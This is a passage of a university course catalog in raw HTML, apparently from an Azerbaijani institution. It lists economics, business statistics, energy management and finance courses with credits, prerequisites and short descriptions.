(6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: MATH 101</strong></p>\r\n<p>The course builds a foundation in statistics and develops\r\napplications of statistical tools to economic analysis. It includes:\r\ndescriptive statistics, probabilities, estimation, and regression analysis.\r\nCases and statistical packages support the course content.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 250: Business Statistics (8\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: MATH 101</strong></p>\r\n<p>The course builds a foundation on statistics and develops\r\napplications to business decision making. It includes: descriptive statistics,\r\nprobabilities, estimation, and regression analysis. The course also provides a\r\nset of skills for achieving and maintaining statistical process control methods\r\nand problem-solving tools. Cases and micro-computer statistical packages\r\nsupport the course content.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 410: Business Analysis&nbsp;(6 credits)</strong></p>\r\n<p><strong>Prerequisite: BSA 250, MATH 225</strong></p>\r\n<p>The course combines statistical analysis, modeling and\r\ndecision making approaches. Topics covered are: data collection, processing,\r\nanalysis and interpretation; modeling, simulation and decision analysis.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 435: Taxation Policy (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: LAW 305</strong></p>\r\n<p>The study of fundamental income tax problems in business,\r\ninvestments and personal decisions; tax problems arising for business,\r\ncorporations; shareholder\'s tax problems; current trends in law and taxation\r\npolicy; comparative analyses of different countries.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 440:&nbsp;&nbsp;Business Research (6 credits)</strong></p>\r\n<p><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p>The course covers the main research tools applicable in\r\napplied business research. Basics of research problem formulation, research\r\nproposal, research design, different types of study, data collection and\r\ninformation sources, measurement, quantitative and qualitative data processing,\r\nhypothesis testing, data analysis, presentation and reporting, and ethics in\r\nbusiness research are the main subjects of the course.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 690: Information Technology for Decisions (6 credits)</strong></p>\r\n<p><strong>Prerequisite: BSA 210</strong></p>\r\n<p>The course has the main goal of providing students with\r\napplied knowledge in the use of information technology and systems in modern\r\nsociety, to learn how to make use of the most efficient programs in text\r\nprocessing, data management, spreadsheets and communications. Information nets,\r\nmethods of information services in foreign trade, production management, the\r\nbanking system (SWIFT), international tourism, and other topics will be\r\nexamined.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>BSA 880: Business Research Methods (6 credits)</strong></p>\r\n<p><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p>The course covers the main research tools applicable in\r\napplied and theoretical business research. Research problem formulation,\r\nresearch proposal, research design, different types of study, data collection\r\nand information sources, measurement, quantitative and qualitative data processing,\r\nhypothesis testing, data analysis, presentation and reporting, and ethics in\r\nbusiness research are the main subjects of the course.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 101: Introduction to Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This is an introductory course on the market economy,\r\neconomic way of thinking. Students should gain knowledge about such market\r\ninstruments as: demand and supply-aggregation, equilibrium, scarcity, surplus\r\nand choices; aggregate demand and supply, government expenditures and income,\r\nconsumption’s and savings, investments, ways to achieve macroeconomics\r\nequilibrium; monetary and fiscal policy in solving problems with inflation,\r\nunemployment, investments.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 201: Principles of Microeconomics (8\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: MATH 101, BSA 101</strong></p>\r\n<p>The course deals with the laws of demand, supply, returns\r\nand costs; these basic tools are used to show how prices and outputs are\r\ndetermined in different market situations; perfect (pure) competition,\r\nmonopoly, monopolistic competition and oligopoly.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 202: Principles of Macroeconomics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: MATH 101, BSA 101</strong></p>\r\n<p>The course provides an understanding of the analytic\r\nmethods of macroeconomics. Students should examine models explaining\r\nfluctuations in national income, unemployment, price levels, GNP, monetary\r\nissues, limitations and applications of these models.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 211: Economics of Tourism (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 201</strong></p>\r\n<p>The course application of the economic principles to the\r\ntourism and hospitality industry, supply and demand and determination of\r\nprices, the impact of the general state of the economy, GDP, growth and\r\nfluctuations of the development on the tourism industry.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 270: Economy of Azerbaijan (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 101 or BSA 101</strong></p>\r\n<p>This course provides a historical review of the\r\nAzerbaijan economy, examines structure (industrial, organizational) of economy,\r\nfeatures of development of each sector in different periods, modern problems of\r\nthe Azerbaijan economy, transition to the market, privatization, and directions\r\nof economic reforms.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 310: Intermediate Microeconomics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 101</strong></p>\r\n<p>This course develops models of the behavior of individual\r\neconomic units, including consumers, workers, investors, and business firms,\r\nand explains how and why these units make economic decisions. Economic behavior\r\nin various types of market environments is analyzed. The implications of this\r\nbehavior for the allocation of resources and for public policy are discussed.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 315: Intermediate Macroeconomics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 101</strong></p>\r\n<p>This course applies the tools of aggregate economic\r\nanalysis to the problems of the performance of the economy. The course links\r\nthe theories and data to understand the causes of macroeconomic fluctuations in\r\nproduction, employment, inflation and international economic relations;\r\nparticular emphasis is placed on macroeconomic policy issues.</p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p><strong>ECON 360: International Economic Relations of Azerbaijan\r\n(6 credits)</strong></p>\r\n<p><strong>&nbsp;Prerequisite: ECON 101or BSA 101</strong></p>\r\n<p>The course covers historical analyses of International\r\nEconomic Relations of Azerbaijan; trade traditions, participation in financial,\r\nindustrial and other international organizations; comparative analyses of\r\ninternational relations for different branches of industry and with different\r\ncountries.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 380: History of Economic Thought (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 201, ECON 202</strong></p>\r\n<p>The course covers a historical presentation of the\r\neconomic doctrines of the physiocratic, classical, neoclassical, historical,\r\nKeynesian, and other schools of thought.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 390: World Economy (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course gives to students the main directions in the\r\nstructure of world economy; world population, industry, agriculture, global\r\nproblems of the world development such as environment protection, utilizing of\r\nthe oceans and the space, international cooperation; World economy as a system\r\nconsisting of various national subsystems, the modeling methods of the world\r\neconomy development.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 420: Regional Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course provides a study of the development of the\r\nAzerbaijan economy and economies of the neighboring countries with an emphasis\r\non the regional cooperation, recent development tendencies, structural changes,\r\nperformance and institutional patterns.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 425: Environmental Economics and Policy (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>This course is designed to introduce the student to a\r\nbroad range of contemporary environmental problems and the design of\r\nappropriate policy responses. The role of economic development and the\r\npolitical and social forces deter-mining environmental quality is explored. The\r\neffectiveness of different environmental policies and regulations are analyzed.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 430: Economics of Entrepreneurship and\r\nInnovation&nbsp;(6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 201, ECON 202 or ECON 310, ECON 315</strong></p>\r\n<p>The purpose of this course is to introduce the analysis\r\nof innovation and entrepreneurship. The course will emphasize the shift in economic\r\nactivity away from the traditional inputs of natural resources, unskilled\r\nlabor, and capital, to a knowledge-based high-tech economy. Innovation is\r\nexamined at the macroeconomic, microeconomic and spatial level. The course also\r\nexamines the relationships between government policies, innovation and\r\nentrepreneurship.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 435: Experimental and Applied Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 201 or ECON 310</strong></p>\r\n<p>This experimental study of economics builds upon the\r\nscientific method and the testing of economic theories via computer simulation\r\nexperiments. Students will gain an understanding of the extent to which basic\r\neconomic theories predict actual human behavior.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 440: Public Finance (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course examines the role of state and local\r\ngovernments in economy, the links between economic analysis and current\r\npolitical issues. Two sides of government budget will be considered: taxation\r\nand public expenditures. Optimal Tax Theory will be used as a basic to\r\nunderstand income distribution and evaluation of taxation efficiency. Students\r\nwill also consider principle programs for public expenditures: public\r\neducation, health, welfare programs, and social security.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 445: Managerial Economics (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ECON 201 or ECON 310</strong></p>\r\n<p>This is an introductory course in application of\r\nmicroeconomic principles to business decision-making; Quantitative methods are\r\napplied to managerial decisions about pricing, production volume; profit\r\nmaximization, capital budgeting, risk taking.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 450: Econometrics (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: BSA 215 or BSA 250</strong></p>\r\n<p>Course covers the nature of econometrics, economic models\r\n(a simple model, a model for a game of chance), sample statistics; the least\r\nsquares principle, the correlation coefficient, confidence integrals normal\r\ndistribution, hypothesis testing; models of experiment, one-way analysis,\r\ntwo-way analysis; the foundation of correlation and regression theory; the\r\nlinear model, solution of the normal equations, nonlinear relationships; the\r\nproblem of the time series analysis, elementary methods for the time series\r\ndescription.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 452: Mathematical Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 201, ECON 202 or ECON 310, ECON 315</strong></p>\r\n<p>This course provides an introduction to mathematical\r\ntechniques that are used in economic analysis. Topics covered include\r\ndifferential and integral calculus and matrix algebra. Emphasis is placed on\r\nthe applications of mathematics to topics in economic theory.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 454: International Economic Organizations (6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>Among international organizations there are some with\r\nspecial activity and importance for the human community, e.g. economic\r\norganizations. Some of them, such as International Monetary Fund, United\r\nNations, GATT, World Bank, etc. are studied from the point of view of their\r\nstructure, main goals and rules. Analyzing activity of those organizations as a\r\nmeans of promoting international relations is the main approach of the course.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 455: Economic Analysis (6 credits)&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ECON, ECON 202 or ECON 310, ECON 315</strong></p>\r\n<p>The course provides background knowledge in macro- and\r\nmicroeconomic analysis. Main topics are demand and supply estimation and\r\nanalysis, production cost and profit analysis, market structures and decisions,\r\nproject evaluation and analysis, economic growth, development and forecasting,\r\ncollection analysis and presentation of economic data.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 470: Development Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course is about economic growth of countries,\r\nstructural changes, institutional development, economic policy and growth.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 480: International Economics/Trade and Finance (6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course covers structure of the world economy; world\r\neconomy as a system of various national economies; globalization and world\r\neconomic development; international financial systems; global capital markets;\r\ninternational trade; growth and trade; global institutions and world trade.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 485: Introduction to Insurance (6 credits)</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>The course’s main approach to insurance as a\r\nrisk-reducing institution defines its contents. The necessity of insurance in\r\ndifferent fields of economic and social life is analyzed. Different types of\r\ninsurance contracts, their features, auto insurance, health insurance, fire\r\ninsurance, unemployment insurance, and retirement are studied. Risk management\r\nis emphasized.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 520: Economic Models (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ECON 202</strong></p>\r\n<p>The course includes such modern economic theories and\r\nmodels as theory of growth, neoclassic model and production function, Caldor’s\r\ntheory of distribution, theory of demand and supply, dynamic model of market\r\nnumbers’ behavior, Neumann - Gale model, and transition to new technology,\r\nmodel of mixed economy and equilibrium, analysis of comparative statistics,\r\nprice regulation and time value, models.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 600: Petroleum Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: Consent of instructor&nbsp;</strong></p>\r\n<p>This course is a practical petroleum economics course\r\nwhich introduces students to the methods and practices the international oil\r\nindustry uses to examine the economic viability of upstream oil and gas\r\nprojects. The course covers cash flow analysis, economic indicators,\r\ndepreciation and depletion models, economic analysis tools, sensitivity\r\nanalysis and expected-value decisions, risk and economic decision analysis.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 610: Engineering Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: Consent of instructor&nbsp;</strong></p>\r\n<p>This course is a practical engineering economics course,\r\nwhich introduces students the basic principles of economic analysis for\r\napplication in the decision-making process. The course covers cash flow\r\nanalysis, economic indicators, depreciation and depletion models, economic\r\nanalysis tools, sensitivity analysis and expected-value decisions, risk and\r\nbusiness decision analysis.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 805: Advanced Mathematics for Economists (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: MATH 225</strong></p>\r\n<p>This course covers the elements of mathematical analysis,\r\noptimization techniques, and linear and nonlinear programming, with\r\napplications to economics.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 810: History of Economic Thought (6 credits)</strong></p>\r\n<p><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p>This course deals with the development of the political\r\neconomy from its origin through the twentieth century. The continuity of\r\nintellectual and economic thought and their relationship to changing social and\r\npolitical settings are stressed. A particular emphasis is placed on the\r\nClassical and neo-Classical theories and their critics.</p><p><br></p>\r\n<p><strong>ECON 815:&nbsp;World Economy (6 credits)</strong></p>\r\n<p><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p>The course provides an understanding of the major\r\nprocesses in the world economy.&nbsp; After finishing of the course students\r\nwill be able to apply the global way of thinking to the analysis of the\r\neconomical and political problems of the history and today of mankind.</p>\r\n<p>Students will be acquainted with the global economic\r\ndevelopment problems, causes of economic crises, development peculiarities of\r\nthe different groups of countries, regional integration and competitiveness\r\nprocesses, and activities of the international political and economical\r\ninstitutions.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 820: Information Technology and Business (6 credits)<br>\r\nPrerequisite: None</strong></p>\r\n<p>This course focuses on organization of computing\r\nresources, control and management of computer processing, and the future of\r\ncomputer-based information processing and application in business.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 825: Economics of the Public Sector (6 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This course provides an analysis of the role of\r\ngovernment in the economy; survey of the problems of monopoly, government\r\nregulation, externalities, public goods, and income redistribution; emphasis on\r\nmeasuring the output and costs of government services.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 830: Managerial Economics (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This course focuses on an application of microeconomic\r\nprinciples to business decision-making. Economic theory and quantitative\r\nmethods are applied to managerial decisions about pricing, production, profit\r\nmaximization, capital budgeting, risk taking, and governmental restraints.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 835: Theory of the Firm and Business Strategy (6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: ECON 830</strong></p>\r\n<p>The course examines an application of microeconomic\r\ntheory and industrial organization to topics for internal firm organization and\r\nstrategic business decision-making. Topics include transactions cost analysis\r\nand empirical implications, multi-product cost concepts, vertical integration,\r\nproduct differentiation and product quality, durable goods pricing, innovation\r\nand patents, spatial competition, delivered pricing, prices discrimination,\r\nproduct building, network economies and information implications.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 840: Economic Development (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 830</strong></p>\r\n<p>This course focuses on the economic growth of the\r\ncountries. Course covers such topics as the theories of international trade and\r\nfinance, monetary-macroeconomics, industrial organization and the new theory of\r\nthe firm. It proceeds to the analysis of structural change, institutional\r\ndevelopment, economic policy and growth. The course covers a variety of\r\nadvanced topics in econometrics. Standard theory is reviewed and extended.\r\nSubjects include maximum likelihood, limited dependent variables, method of\r\nmoments estimation and simultaneous systems estimation.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 844: Regional Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p>The course provides a comprehensive study of the\r\ndevelopment of the Azerbaijan economy and survey of the economic development of\r\nthe neighboring countries with a special emphasis on the regional cooperation,\r\nrecent development tendencies, structural changes, performance and\r\ninstitutional patterns.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 845: Human Resources and Labor Markets (6 credits)<br>\r\nPrerequisite: None</strong></p>\r\n<p>The course examines the operation of labor markets, the\r\ndetermination of labor supply, labor demand, and wages, and the impact that\r\nmarket forces and institutions have on the practice of human resources\r\nmanagement and employment relations.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 850: The Economics of Innovation and\r\nEntrepreneurship (6 credits)<br>\r\nPrerequisite: ECON 830</strong></p>\r\n<p>This course is designed to present the economic analysis\r\nof innovation and entrepreneurship. The first part of the course focuses on\r\ninnovation. The second part of the course focuses on the particular aspect of\r\ninnovative activity – entrepreneurship and the role of new and small firms.\r\nTheories about Entrepreneurship are introduced. The emergence of the new\r\nindustries and the performance of the entrepreneurial firms are examined.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 855: Macroeconomic Analysis and Forecasting (6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: ECON 830</strong></p>\r\n<p>The course covers the theory of aggregate demand and\r\nsupply, sector demand functions (consumption, investment, and money),\r\ndisequilibrium models, economic growth, inflation, unemployment and\r\nexpectations, stabilization, and control, economic development analysis and\r\nforecasting.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>ECON 860: Advanced Econometrics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: MGT 800</strong></p>\r\n<p>This course provides a study of linear econometric\r\nmethods. Subjects cover the classical linear regression model, generalized\r\nleast squares and an introduction to a symptomatic distribution theory. Topics\r\nsuch as maximum likelihood testing, specification testing, violations of the\r\nclassical assumption and dichotomous choice models will be examined. This\r\ncourse covers a variety of advanced topics in econometrics. Standard theory is\r\nreviewed and extended. Subjects include maximum likelihood, limited dependent\r\nvariables, method of moments estimation, and simultaneous systems estimation.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>&nbsp;ECON 880: International Trade (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>&nbsp;Prerequisite: MGT 828&nbsp;</strong></p>\r\n<p>&nbsp;This course develops an understanding of the\r\neconomic basis for trade. It also examines trade &nbsp;&nbsp;&nbsp;policies\r\nnations adopt, common markets, international resources flows and the\r\nmultinational corporation.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 410: Energy Economics&nbsp;(6 credits)<br>\r\nPrerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>This course explores the role of energy in the economy,\r\nkey aspects of energy supply and demand, energy markets, and public policies\r\naffecting energy markets. It discusses various aspects of the impact of oil,\r\nnatural gas, electricity, and nuclear power sectors on economic development of\r\ncountries.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 420: Environmental Management (6 credits)</strong></p>\r\n<p><strong>Prerequisite: MGT 310</strong></p>\r\n<p>The course provides an overview of environmental\r\nmanagement systems and how environmental management systems can support\r\nenvironmental improvements at facilities that are subject to environmental\r\nregulations. The course focuses on pollution prevention techniques, processes,\r\nand technologies, as well as, environmental management systems. Topics also\r\ninclude industrial ecology, waste minimization, chemical and material\r\nsubstitution, and alternative technologies.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 425: Environmental Economics (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course is designed to introduce the student a broad\r\nrange of contemporary environmental problems. The role of economic development\r\nand social forces deter-mining environmental quality is explored. The\r\neffectiveness of different environmental policies and regulations are analyzed.</p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p><strong>EMGT 805:&nbsp;Oil, Gas and Petrochemical Industries (6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>Course provides a comprehensive review of the oil, gas\r\nand petrochemical industries history, basic theory, processes, production\r\nequipment, business operations, strategies and development tendencies.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 810: Energy Economics (6 credits)<br>\r\nPrerequisite: None&nbsp;</strong></p>\r\n<p>This course explores the role of energy in the economy,\r\nkey aspects of energy supply and demand, energy markets, and public policies affecting\r\nenergy markets. It analyses key players in the energy economics and their role,\r\nrational formulation of energy policies and formation of energy markets. It\r\ndiscusses various aspects of the impact of oil, natural gas, electricity, and\r\nnuclear power sectors in energy economics and examines such important issues as\r\nenergy taxation, price regulation, deregulation, energy efficiency, etc.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 812:&nbsp;Oil and Gas Economy (6 credits)<br>\r\nPrerequisite: None</strong></p>\r\n<p>This course provides basic information on principles of\r\nfunctioning, mechanisms and forms of oil and gas markets, principles of\r\ntransportation and pipelines economy, pricing issue, company social\r\nresponsibility, contract issues, cash flow movement, Dutch disease, oil and gas\r\nfunds.&nbsp; The topics on oil and gas contracts will be helpful for students\r\nin terms of understanding of the law and economic bases of government and\r\ncompany relationship. The oil and gas revenues management and sustainability\r\nissues in extractive industries are also discussed.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 815: Energy Geopolitics and Global Energy Security (6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: None&nbsp;</strong></p>\r\n<p>The course mainly concentrates on the global geopolitical\r\nissues and strategies concerning energy security. Main economic and political\r\nactors involved in the energy games, vulnerabilities of different countries and\r\nregions of the world in terms of energy security, and strategies applied to\r\novercome these problems are studied thoroughly. Continuously changing agenda of\r\nglobal energy security is studied from up-to-date sources, and new challenges\r\nand opportunities are analyzed on a comparative basis.</p>\r\n<p>This course explores energy geopolitics; global energy\r\nsecurity; Caspian oil and gas; transportation of Caspian oil and gas; foreign\r\ninvestment; transnational corporations; oil and gas sector; oil strategy; oil\r\nfund; EITI initiative; BTC, SCP, Nabucco.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 820: Environmental Management (6 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This course provides an overview of environmental\r\nmanagement systems and how environmental management systems can support\r\nenvironmental improvements at facilities that are subject to environmental\r\nregulations. The course focuses on pollution prevention techniques, processes,\r\nand technologies, as well as, environmental management systems. Topics also\r\ninclude industrial ecology, waste minimization, chemical and material\r\nsubstitution, and alternative technologies.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 825: Energy Resources Management and Environmental\r\nSecurity (6 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This course examines present and potential future energy\r\ntrends. Energy usage and its impact on the environment are emphasized, as well\r\nas economic, technical, and political issues related with the management of\r\nenergy resources are covered. The topics also include practical aspects of\r\nhazardous material and waste management in industry and other components of\r\nsociety, and resource recovery of hazardous waste streams.</p>\r\n<p>&nbsp;&nbsp;</p>\r\n<p><strong>EMGT 830: Energy Technology and Environment &nbsp;(6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This course identifies basic energy system components,\r\nand investigates energy generation, transmission and distribution systems. It\r\nexplores the fundamentals of energy consumption through analysis of energy use\r\nand its cost. The course will strike a balance between global energy flows and\r\nthe details of energy use individuals. Other topics include the technology and\r\ninfrastructure involved in energy use, the economics of energy use, and\r\ngovernment policy regarding energy. Emphasis is placed on problem-solving and\r\nidentifying ways to improve energy-efficiency through energy management at all\r\nlevels. The course also explores advanced energy generation technologies such\r\nas solar, wind, geothermal, biomass, and fuel cells. Students learn how to\r\nassess the environmental, social, and economic impacts of various energy\r\ntechnology choices.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 835: Caspian Energy Resources and Socioeconomic\r\nDevelopment of Caspian Countries (6 credits)<br>\r\nPrerequisite: None</strong></p>\r\n<p>The main focus of this course is the study of Caspian\r\nenergy resources and their impact in the socioeconomic development of Caspian\r\ncountries. The course mainly analyzes the role and weight of each energy-rich\r\nCaspian country in the world total production, their future perspectives, as\r\nwell as socioeconomic development strategies put forward by each country. It\r\nalso mentions development strategies of other energy rich-countries of the\r\nworld in a comparative framework and draws lessons from their experiences for\r\nthe Caspian countries.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 840: Renewable Energy (8 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>The course introduces renewable energy technologies such\r\nas solar, wind, biomass, hydro, tidal, wave, geothermal and hybrid systems. The\r\ntopics covered include the availability and integration of these energy types\r\nand technologies, how they work, their advantages, disadvantages, and limitations.\r\nThe course also examines economic evaluation of renewable energy resources, the\r\nenvironmental consequences of energy conversion and how renewable energy can\r\nreduce air pollution and global climate change and why renewable energy is\r\nnecessary for the sustainable future.</p><p><br></p>\r\n<p><strong>EMGT 850: Operations Management and Logistics (8 credits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>Fundamental decisions and tradeoffs in control of a\r\nfirm\'s operations: operations strategy, process analysis, product design and\r\nprocess selection, capacity planning, TQM, supply chain strategy, logistics\r\nstrategy, resources planning, material requirements planning and material flow\r\ncontrolling, procurement, inventory control, sales and operations planning,\r\nglobal logistics, cross-functional integration (coordination and control);\r\nimproving the performance of productive systems; and competing through\r\ntechnology and operations.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EMGT 860: Energy Project and Supply Chain Management (6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: None</strong></p>\r\n<p>This course develops analytical and behavioral skills for\r\neffective energy project management. Students will learn how to create a\r\nproject team and a work breakdown structure, estimate task times and costs, and\r\nallocate resources in an efficient way. A variety of energy project management\r\ncases will be studied. The course also cover topics on supply chain management\r\nactivities, such as the production plan, master production schedules, materials\r\nrequirement planning, and capacity planning. Warehouse planning and management,\r\nenergy resources distribution and transportation, packaging and third party\r\nlogistics are some of the issues discussed in this course.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 310: Fundamentals of Financial Management (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ACC 210</strong></p>\r\n<p>Introduction to Financial Management, financial\r\nstatements, clash flow, taxis, financial environment, fundamentals concepts,\r\nrisk and return, time value of money, securities and their valuations,\r\ninvestment and financial decision, cost of capital, capital budgeting, capital\r\nmanagement.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 320: Corporate Finance 